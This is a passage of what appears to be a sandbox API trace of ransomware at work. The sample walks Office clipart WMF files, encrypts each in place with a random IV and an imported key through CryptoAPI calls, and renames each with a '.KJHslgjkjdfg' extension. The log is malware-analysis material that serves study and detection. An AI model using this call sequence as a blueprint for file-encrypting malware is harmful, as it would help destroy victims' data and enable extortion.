liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.824] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d20, lpOverlapped=0x0) returned 1 [0190.824] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.824] SetEndOfFile (hFile=0x114) returned 1 [0190.827] GetProcessHeap () returned 0x2a0000 [0190.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.827] GetProcessHeap () returned 0x2a0000 [0190.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf.kjhslgjkjdfg")) returned 1 [0190.829] CloseHandle (hObject=0x114) returned 1 [0190.829] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02022_.WMF", cAlternateFileName="")) returned 1 [0190.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.831] GetProcessHeap () returned 0x2a0000 [0190.831] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.831] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.831] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.833] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.833] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.833] GetProcessHeap () returned 0x2a0000 [0190.833] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.833] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.834] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.834] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.834] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.834] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.834] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.834] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.834] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.834] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.834] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.834] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.834] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d68, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d68, lpOverlapped=0x0) returned 1 [0190.835] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d70, dwBufLen=0x1d70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d70) returned 1 [0190.836] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.836] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d70, lpOverlapped=0x0) returned 1 [0190.836] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.836] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.836] SetEndOfFile (hFile=0x114) returned 1 [0190.838] GetProcessHeap () returned 0x2a0000 [0190.838] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.838] GetProcessHeap () returned 0x2a0000 [0190.838] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf.kjhslgjkjdfg")) returned 1 [0190.840] CloseHandle (hObject=0x114) returned 1 [0190.840] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02024_.WMF", cAlternateFileName="")) returned 1 [0190.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.842] GetProcessHeap () returned 0x2a0000 [0190.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.842] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.842] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.844] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.844] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.844] GetProcessHeap () returned 0x2a0000 [0190.844] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.844] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.845] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.845] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.845] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.845] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.845] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.845] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.845] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.845] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.845] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x23a8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x23a8, lpOverlapped=0x0) returned 1 [0190.846] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x23b0, dwBufLen=0x23b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x23b0) returned 1 [0190.846] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.846] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x23b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x23b0, lpOverlapped=0x0) returned 1 [0190.847] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.847] SetEndOfFile (hFile=0x114) returned 1 [0190.849] GetProcessHeap () returned 0x2a0000 [0190.849] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.849] GetProcessHeap () returned 0x2a0000 [0190.849] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.849] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf.kjhslgjkjdfg")) returned 1 [0190.851] CloseHandle (hObject=0x114) returned 1 [0190.852] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02025_.WMF", cAlternateFileName="")) returned 1 [0190.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.853] GetProcessHeap () returned 0x2a0000 [0190.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.853] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.853] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.853] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0190.855] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.856] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.856] GetProcessHeap () returned 0x2a0000 [0190.856] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.856] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.856] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.856] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.856] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.856] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.856] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.856] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.856] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.856] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.856] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.856] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.857] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2016, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2016, lpOverlapped=0x0) returned 1 [0190.858] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2020, dwBufLen=0x2020 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2020) returned 1 [0190.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.858] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2020, lpOverlapped=0x0) returned 1 [0190.858] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x20f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.858] SetEndOfFile (hFile=0x114) returned 1 [0190.861] GetProcessHeap () returned 0x2a0000 [0190.861] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.861] GetProcessHeap () returned 0x2a0000 [0190.861] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf.kjhslgjkjdfg")) returned 1 [0190.865] CloseHandle (hObject=0x114) returned 1 [0190.865] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02028_.WMF", cAlternateFileName="")) returned 1 [0190.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.866] GetProcessHeap () returned 0x2a0000 [0190.867] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.867] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.867] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.867] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.870] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.870] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.870] GetProcessHeap () returned 0x2a0000 [0190.870] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.870] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.870] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.870] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.870] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.870] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.870] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.870] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.871] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.871] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.871] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.871] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x24c8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x24c8, lpOverlapped=0x0) returned 1 [0190.872] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x24d0, dwBufLen=0x24d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x24d0) returned 1 [0190.872] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.872] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x24d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x24d0, lpOverlapped=0x0) returned 1 [0190.872] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.872] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x25a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.872] SetEndOfFile (hFile=0x114) returned 1 [0190.875] GetProcessHeap () returned 0x2a0000 [0190.875] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.875] GetProcessHeap () returned 0x2a0000 [0190.876] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf.kjhslgjkjdfg")) returned 1 [0190.884] CloseHandle (hObject=0x114) returned 1 [0190.885] FindNextFileW (in: hFindFile=0x2c6260, 